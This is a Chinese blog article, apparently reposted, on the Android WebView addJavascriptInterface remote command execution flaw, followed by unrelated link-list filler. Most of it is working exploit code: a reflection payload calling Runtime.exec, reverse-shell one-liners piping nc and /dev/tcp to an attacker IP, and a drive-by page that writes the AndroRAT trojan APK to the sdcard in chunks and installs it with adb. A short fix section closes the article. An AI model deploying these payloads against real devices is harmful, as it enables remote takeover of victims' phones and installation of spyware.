安卓WebView中接口隐患与手机挂马利用(远程命令执行)
安卓应用存在安全漏洞,浏览网站打开链接即可中招。目前有白帽子提交漏洞表明目前安卓平台上的应用普遍存在一个安全漏洞,用户打开一个链接就可导致远程安装恶意应用甚至完全控制用户手机,目前微信,手机QQ,QVOD以及各大手机浏览器均中招
0x00 背景
在android的sdk中封装了webView控件。这个控件主要用开控制的网页浏览。在程序中装载webView控件,可以设置属性(颜色,字体等)。类似PC下directUI的功能。在webView 下有一个非常特殊的接口函数addJavascriptInterface。能实现本地java和js的交互。利用addJavascriptInterface这个接口函数可实现穿透webkit控制android 本机。
0x01 检测利用
一般使用html 来设计应用页面的几乎不可避免的使用到addJavascriptInterface,包含不限于android浏览器。
在android 代码程序一般是这样使用:
1
2
3
|
settings.setJavaScriptEnabled( true ); settings.setJavaScriptCanOpenWindowsAutomatically( true ); mWebView.addJavascriptInterface( new JSInvokeClass(), "js2java" ); |
这里可以用
apk->zip->dex->dex2jar->jdgui->java
代码来查找。
但建议用apktool 反编译smali(毕竟不是所有apk都能反编译成java代码)
在smali代码中 则是类似下列的代码:
const-string v0, " js2java "
invoke-virtual {p1, v1, v0},Lcom/tiantianmini/android/browser/module/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V
当检测到存在上述代码时,可以进行进一步验证利用:
在11年,已经有人利用addJavascriptInterface进行文件读写,并放出简单的poc,到12年出现了简单的执行代码的exp。利用的是反射回调java类的内置静态变量。如下列的利用代码;
<script>
function execute(cmdArgs)
{
return js2java.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
…
</script>
利用java的exec执行linux的shell命令。
0x02 远程获取shell
套用yuange的一句话:Poc远远小于exp的价值。
利用addJavascriptInterface实现shell.
Android内部的armlinux 是没有busybox 的,一些常规弹shell的方法被限制。
使用了java的反弹shell方法
//execute(["/system/bin/sh","-c","exec 5<>/dev/tcp/192.168.1.9/8088;cat <&5 | while read line; do $line 2>&5 >&5; done"]);
在Nexus One 4.3的android虚拟机 并未成功弹出shell.
后发现android中可执行 nc命令 (阉割版的不带-e的nc)
这里用了nc的另外一种弹shell的方法完成
Exp 内容:
1
2
3
4
5
6
7
8
|
<script> function execute(cmdArgs) { return XXX.getClass().forName( "java.lang.Runtime" ).getMethod( "getRuntime" , null ).invoke( null , null ).exec(cmdArgs); } execute([ "/system/bin/sh" , "-c" , "nc 192.168.1.9 8088|/system/bin/sh|nc 192.168.1.9 9999" ]); alert( "ok3" ); </script> |
// 注 xxx 保护隐私用xx代指。
效果如下

当然可以用远程IP地址。
0x03 远程挂马
毕竟是android环境,shell使用不是很方便。类似xsser肯定不满足于此。
再升华下,实现网页挂马。
Android 4.1已经加入ASLR技术,堆喷射之类不再有效。UAF要针对android的内核版本。利用自身特性的漏洞是目前比较靠谱的方法。
这里以androrat远控木马为例。
实现网页挂马
大部分浏览器已经对下载文件进行保存提示。这里需要把andrat.apk写到挂马网页之中。
1
2
3
4
5
6
7
8
9
10
11
|
<script> function execute(cmdArgs) { return xxx.getClass().forName( "java.lang.Runtime" ).getMethod( "getRuntime" , null ).invoke( null , null ).exec(cmdArgs); } var armBinary = "\x50\x4B\x03\x04\x14\x00\x08\x00\x08\x00\x51\x8F\xCA\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x04\x00\x72\x65\x73\x2F\x6C\x61\x79\x6F\x75\x74\x2F\x6D\x61\x69\x6E\x2E\x78\x6D\x6C\xFE\xCA\x00\x00\xAD\x52\x31\x6F\xD3\x40\x18\xFD\x2E\x76\xAE\x86\xC4\x69\x5A\x3A\x54\xA2\x12\xA9\xC4\x80\x22\x61\xE3\xAA\x42\x4D\xC7\x22\x86\x4A\x91\xA8\x14\xC4\x0A\x56\x7C\xC2\x27\x68\x1C\x39\x57\x0A\x53\x11\x3B\x63\x37\x06\xFE\x01\x33\x1B\x43\x17\x36\x56\xFE\x07\xAC\x6D\x9F\xCB\x1D\x3D\x …… var patharm = " /data/app/Androrat.apk "; var a=execute([" /system/bin/sh "," -c "," echo -n +armBinary+ > " + patharm]); execute([" chmod "," 755 "," /data/app/Androrat.apk"]); |
这样存在几个问题:
andrat.apk的 hex value大约300k,浏览器或者java的exec可能对传入参数大小有限制,(测试的浏览器有限制无法执行)
/data/app/ 目录存在权限问题,需要root,chmod 也是同理。
Android这种静默安装要么是有root或者系统签名的install权限,要么是做成预装软件的样子并且重启。或者是2.2 版本左右可以 通过调用隐藏api安装。
经过进行fuzz实验,完成了挂马功能:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<script> function execute(cmdArgs) { return xxx.getClass().forName( "java.lang.Runtime" ).getMethod( "getRuntime" , null ).invoke( null , null ).exec(cmdArgs); } var armBinary1 = "\x50\x4B\x03\x04\x14\x00\x08\x00\x08\x00\x51\x8F\xCA\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x04\x00\x72\x65\x73\x2F\x6C\x61\x79\x6F\x75\x74\x2F\x6D\x61\x69\x6E\x2E\x78\x6D\x6C\xFE\xCA\x00\x00\xAD\x52\x31\x6F\xD3\x40\x18\xFD\x2E\x76\xAE\x86\xC4\x69\x5A\x3A\x54\xA2\x12\xA9\xC4 var armBinary2=" \x1B\xB0\x65\x0A\xAD\x23\xC2\x30\x64\xDF\xEE\xA1\x0D\xA4\xE8\x3F\x61\x80\xEE\xBC\xE1\xE7\x7B\x4A\x25\x6F\x8B\x36\x71\xC3\x80\x81\x58\xDB\xC9\x8F\x53\x9F\xEE\x8A\x45\xAF\x23\x54\x4A\xCF\x2B\x52\xF2\x33\x84\xBA\x82\x36\xC4\x0D\x08\xAF\xC2\x61\x8E\xD8\x7B\x0B\xFC\x88\x4A\x25\x24\x8C\x22\xFA\x76\x44\x78\x5E\x99\x62\x30\x44\x8D\xDB\x74\x94\ var armBinary3=… var armBinary4=… …… var patharm = "/mnt/sdcard/Androrat.apk" ; var a=execute([ "/system/bin/sh" , "-c" , "echo -n +armBinary1+ > " + patharm]); //alert(a); execute([ "/system/bin/sh" , "-c" , "echo -n +armBinary2+ >> " + patharm]); execute([ "/system/bin/sh" , "-c" , "echo -n +armBinary3+ >> " + patharm]); execute([ "/system/bin/sh" , "-c" , "echo -n +armBinary4+ >> " + patharm]); execute([ "/system/bin/sh" , "-c" , "adb install /mnt/sdcard/Androrat.apk" ]); alert( "over !!!" ); </script> |
将androrat.apk拆分。
利用echo写入到sdcard中(此目录可读可写 不可执行)。
利用自身带的adb进行安装(安装各种xx手机助手的不在少数吧)。

Androrat 成功安装,这里使用了androrat的debug=true模式。
成功连接到控制端。
0x04 修复
1、Android 4.2 (api17)已经开始采用新的接口函数【java中应该叫方法:) 】,@JavascriptInterface 代替addjavascriptInterface, 有些android 2.3不再升级,浏览器需要兼容。
2、在使用js2java的bridge时候,需要对每个传入的参数进行验证,屏蔽攻击代码。
3、控制相关权限或者尽可能不要使用js2java的bridge。
Link:
http://developer.android.com/reference/android/webkit/WebView.html
http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String)
http://www.cis.syr.edu/~wedu/Research/paper/webview_acsac2011.pdf
http://50.56.33.56/blog/?p=314
安卓WebView中接口隐患与手机挂马利用(远程命令执行)的更多相关文章
- hybird app项目实例:安卓webview中HTML5拍照图片上传
应用的平台环境:安卓webview: 涉及的技术点: (1) <input type="file" > :在开发中,安卓webview默认点击无法调用文件选择与相机拍照 ...
- Java中使用Oracle的客户端 load data和sqlldr命令执行数据导入到数据库中
Windows环境下测试代码: import java.io.BufferedReader; import java.io.File; import java.io.FileNotFoundExcep ...
- 在WebView中如何让JS与Java安全地互相调用
在现在安卓应用原生开发中,为了追求开发的效率以及移植的便利性,使用WebView作为业务内容展示与交互的主要载体是个不错的折中方案.那么在这种Hybrid(混合式) App中,难免就会遇到页面JS需要 ...
- WebView高危接口安全检测
高危]WebView高危接口安全检测共2处详细内容:在Android系统4.3.1~3.0版本,系统webview默认添加了searchBoxJavaBridge_接口,如果未移除该接口可能导致低版本 ...
- 因为手机设置字体大小导致h5页面在webview中变形的BUG
出现这个问题,有以下因素 你的页面采用了rem单位,并且是采用js动态计算html的font-size你的页面被加在了APP中的webview中这该死的手机被重设了字体大小解决方法一般,我们动态计算好 ...
- 解决因为手机设置字体大小导致h5页面在webview中变形的BUG
首先,我们做了一个H5页面,在各种手机浏览器中打开都没问题.我们采用了rem单位进行布局,通过JS来动态计算网页的视窗宽度,动态设置html的font-size,一切都比较完美. 这时候,你自信满满的 ...
- Android安全开发之WebView中的地雷
Android安全开发之WebView中的地雷 0X01 About WebView 在Android开发中,经常会使用WebView来实现WEB页面的展示,在Activiry中启动自己的浏览器,或者 ...
- Android安全开发之WebView中的大坑
0X01 About WebView 在Android开发中,经常会使用WebView来实现WEB页面的展示,在Activiry中启动自己的浏览器,或者简单的展示一些在线内容等.WebView功能强大 ...
- Redis中7种集合类型应用场景&redis常用命令
Redis常用数据类型 Redis最为常用的数据类型主要有以下五种: String Hash List Set Sorted set 在具体描述这几种数据类型之前,我们先通过一张图了解下Redis内部 ...
随机推荐
- POJ 3484
Showstopper Time Limit: 1000MS Memory Limit: 65536K Total Submissions: 1060 Accepted: 303 Descri ...
- POJ 2153 Rank List (map映射)
水题,竟然花了那么多时间...主要是不知道为什么,明明在本机上编译过去了,但是用c++提交却编译错误...最后用g++提交AC 题意:给出n个学生的名字,然后给出m个测验. 每个测验给出n个学生的分数 ...
- linux 下各个工具使用(screen、tmux,pyenv、virtualenv,pip国内源,tree)
一.多会话工具screen.tmux 两个都是多窗口工具.1.使用后wim出现配色问题:http://ibartman.com/2014/04/16/vim%20%E9%85%8D%E8%89%B2/ ...
- Action Bar详解
Action bar是一个标识应用程序和用户位置的窗口功能,并且给用户提供操作和导航模式.在大多数的情况下,当你需要突出展现用户行为或全局导航的activity中使用action bar,因为acti ...
- HDU 1116 || POJ 1386 || ZOJ 2016 Play on Words (欧拉回路+并查集)
题目链接 题意 : 有很多门,每个门上有很多磁盘,每个盘上一个单词,必须重新排列磁盘使得每个单词的第一个字母与前一个单词的最后一个字母相同.给你一组单词问能不能排成上述形式. 思路 :把每个单词看成有 ...
- iOS开发--CoreGraphics简单绘图
一.导入coreGraphics.framework 二.绘制图形 1.绘制矩形 ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // 绘制矩形 - (v ...
- iOS 开发--NSMutableArray使用枚举方法
可变数组也可以使用枚举方法, 我们在这里提供了两种枚举方法, 一个是正序枚举, 一个是倒序枚举, 在正序枚举中, 元素的个数和顺序都是不可以修改的, 但是在倒序枚举中却可以修改, 这有些耐人寻味. 涉 ...
- Java-对象数组排序
1.对对象数组排序:对象要提供一个compare方法比较对象的大小 2.代码 package Test; public class TestObjectArray { public static vo ...
- [iOS]SourceTree+oschina实现代码远程托管
在iOS开发, 涉及到多人协同开发的时候, 这个时候, 我们就得利用版本控制系统(例如GIT), 来合并和管理代码了, 今天我们来讲一下, 利用 SourceTree+oschina进行版本控制 先来 ...
- Sqlstate解释
本篇文章主要介绍了"Sqlstate详解",主要涉及到方面的内容,对于DB2感兴趣的同学可以参考一下: 根据 X/Open 和 SQL Access Group SQL CAE 规 ...